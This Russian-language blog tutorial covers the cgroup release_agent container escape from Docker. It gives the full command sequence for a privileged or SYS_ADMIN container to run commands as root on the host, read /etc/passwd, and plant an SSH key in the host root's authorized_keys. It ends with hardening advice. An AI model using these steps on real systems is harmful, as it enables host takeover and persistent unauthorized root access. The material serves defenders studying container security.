
Docker — одно из самых популярных приложений для контейнеризации программного обеспечения. В терминологии Docker контейнеры — это стандартная единица программного обеспечения, которая упаковывает код и все его зависимости, чтобы можно было быстро и надёжно запустить приложение на разных операционных системах и в разных вычислительных средах. С технической точки зрения контейнер — это запущенный процесс (наподобие процессов в операционных системах), который изолирован от других процессов и имеет доступ к ресурсам компьютера.
Как и в любом другом программном обеспечении, в Docker присутствуют различные уязвимости. Одной из самых известных уязвимостей считается Docker escape, что в переводе на русский язык означает «побег из Docker» или более распространённая формулировка — побег из контейнера Docker. Данная уязвимость позволяет получить доступ к основной (хостовой) операционной системе, тем самым совершая побег из контейнера Docker.
Впервые данная уязвимость была обнаружена командой аналитиков по информационной безопасности из Project Zero в июле 2019 года. Несмотря на то, что с момента выявления уязвимости уже прошло более двух лет, её всё ещё можно реализовать. Упоминание атаки отсутствует и в официальном блоге Docker и на форуме Docker. Описание атаки предоставлено на сайте Exploit DB.
Шаги, необходимые для воспроизведения данной уязвимости, представлены ниже:
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Совершить побег из Docker контейнера можно, когда он запущен в привилегированном режиме. Для запуска привилегированных контейнеров используется флаг --privileged, известный тем, что позволяет получить root-доступ к хостовой операционной системе. Также совершить побег можно, когда контейнер запущен с опцией --cap-add и в качестве параметра передана привилегия SYS_ADMIN. Опция --cap-add позволяет задавать определенные привилегии (Linux capabilities). Привилегия SYS_ADMIN предоставляет права на выполнение таких команд, как quotactl, mount, umount, swapon, swapoff, sethostname и setdomainname.
Стоит отметить, что данная уязвимость относится именно к механизму контрольных групп — cgroup. Именно cgroup выполняет функцию по изоляции ресурсов, за счет чего и производится изоляция контейнеров от основной системы. Эксплойт основан на использовании внутренней функции под названием release_agent, которая присутствует в механизме cgroup. После завершения последнего рабочего процесса в cgroup выполняется команда. Эта команда указана в файле release_agent и выполняется от имени root пользователя на хостовой ОС. По умолчанию функция отключена, а путь release_agent – пуст.
Разберём шаги данной уязвимости.
В качестве хостовой ОС будет использоваться Ubuntu 20.04.03, имя пользователя — alex, имя хоста — ubuntu-dev:

В качестве гостевой ОС, запущенной в контейнере, будет выступать Ubuntu 20.04.03 с пользователем root и именем хоста — ce96e591876d.

Для начала необходимо запустить контейнер Docker с опцией --privileged. В качестве примера можно запустить образ с ОС Ubuntu. Команда, запускаемая на хосте, будет выглядеть следующим образом:
docker run --rm -it --privileged ubuntu bash
Также можно запустить контейнер с привилегией SYS_ADMIN и политикой безопасности apparmor и с неограниченным доступом. Для этого можно воспользоваться командой из описания уязвимости:
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
После того, как мы окажемся внутри контейнера, создаём новый каталог /tmp/cgrp, монтируем контроллер контрольной группы RDMA (механизм удалённого прямого доступа к памяти) и создаем дочернюю контрольную группу (в данном случае x):
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
Команда, которая указана в файле release_agent, выполняется от имени пользователя root на основном хосте — это и есть успешно использованная уязвимость.
Далее необходимо активировать функцию release_agent. По умолчанию она неактивна.
echo 1 > /tmp/cgrp/x/notify_on_release
Следующим шагом прописываем путь до release_agent:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Далее нужно создать bash скрипт и вписать в него команды, которые будут выполняться на основном хосте. Файл с выполняемыми командами будет называться cmd, а результаты выполненных команд будут записываться в файл с именем output. В качестве примера будет получен список процессов, выполняющихся на основной системе:
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
Чтобы запустить скрипт, необходимо сделать его исполняемым:
chmod a+x /cmd
И наконец, чтобы выполнить атаку, необходимо запустить процесс, который сразу завершится внутри ранее созданной дочерней контрольной группы x. После этого будет инициализировано выполнение сценария /cmd на основном хосте:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Результат выполнения команды ps aux.
Список всех процессов, запущенных на хостовой ОС и полученных из контейнера:

Список всех процессов, запущенных на хостовой ОС, полученный непосредственно с самого хоста:

Вывод на экран файла /etc/passwd, расположенного на хостовой ОС. Команда cat /etc/passwd была выполнена внутри контейнера:

Вывод файла /etc/passwd, расположенного непосредственно на хостовой ОС:

Вывод содержимого директории, расположенной по пути /home/alex/Python_Scripts. Команда ls -l /home/alex/Python_Scripts была выполнена внутри контейнера:

Вывод содержимого директории, расположенной по пути /home/alex/Python_Scripts. Команда была выполнена на хостовой ОС:

Помимо выполнения произвольных команд, можно получить полноценный доступ к хостовой ОС при помощи SSH. Для этого сначала необходимо установить пакет openssh-client, так как по умолчанию он отсутствует в контейнере. Для этого в контейнере необходимо выполнить следующую команду:
apt update && apt -y install openssh-client

Перед подключением к хостовой ОС необходимо узнать её IP-адрес. Узнать IP-адрес компьютера можно при помощи команды ip a. Запишем данную команду в файл cmd и выполним её на хостовой ОС по алгоритму, описанному ранее:

В данном случае IP адрес хостовой ОС 192.168.189.129:

Теперь необходимо сгенерировать SSH ключи:
ssh-keygen

После того, как ключи были сгенерированы, необходимо записать команду записи публичного ключа SSH в файл authorized_keys, расположенного по пути /root/.ssh/authorized_keys, который находится на хостовой ОС. Команда будет выглядеть так (вместо символов AAAA необходимо вставить открытый ключ, который необходимо скопировать из файла /root/.ssh/ id_rsa.pub):
echo '#!/bin/sh' > /cmd
echo "echo 'ssh rsa AAAA...' > /root/.ssh/authorized_keys" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

После записи открытого ключа можно подключиться к хостовой ОС. В качестве имени пользователя зададим имя root, в качестве IP-адреса — IP-адрес хостовой ОС, который был получен ранее. Команда для подключения будет выглядеть следующим образом:
ssh root@192.168.189.129

Как можно увидеть на скриншоте выше, мы успешно подключились к нашей хостовой ОС. Приглашение к вводу изменилось на имя хоста, принадлежащего хостовой ОС.
Также можно проверить, что пользователь root успешно подключился из контейнера к хосту, выполнив команду w и найдя пользователя root:

Способы предотвращения побега из контейнера
Для того чтобы предотвратить данную атаку, необходимо придерживаться следующих правил:
1) Не запускать контейнеры с ключом --privileged.
Обычно контейнеры с ключом --privileged запускаются, когда необходимо получить доступ к специфичным устройствам хостовой ОС. Также бывают случаи, когда конкретные приложения написаны так, что могут запускаться только в привилегированном режиме.
2) Не запускать контейнеры с привилегией SYS_ADMIN.
Помимо полного представления прав с помощью флага --privileged можно разрешать выполнять только определённые действия в системе. Этого можно достичь при помощи механизма, встроенного в ядро Linux под названием Linux capabilities (привилегии Linux). Данный механизм присутствует и в Docker. В частности, привилегия SYS_ADMIN позволяет запускать в контейнере такие команды, как quotactl, mount, swapon, sethostname, setdomainname. Для реализации побега из контейнера как раз необходима команда mount. Если не запускать контейнеры с привилегией SYS_ADMIN, то команду mount выполнить не удастся.
3) Не использовать учётную запись root внутри контейнера.
Реализовать побег из контейнера может только пользователь root, так как данный пользователь обладает всеми правами в системе. В частности, данная уязвимость монтирует механизм RDMA с использованием параметров. Если выполнить команду монтирования от имени обычного пользователя, то в терминале будет ошибка - mount: only root can use "--options" option, которая говорит о том, что только пользователь root может использовать параметры при монтировании.
4) Использовать файловую систему внутри контейнера только для чтения (опция --read-only=true).
При данной опции контейнер не сможет записывать или изменять какие-либо данные внутри контейнера, тем самым делая невозможным создание новых файлов или редактирование уже существующих. Если в контейнере с запущенной опцией --read-only=true, например, создать файл, то появится ошибка - touch: cannot touch 'cmd': Read-only file system.
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— 15% на все тарифы VDS (кроме тарифа Прогрев) — HABRFIRSTVDS.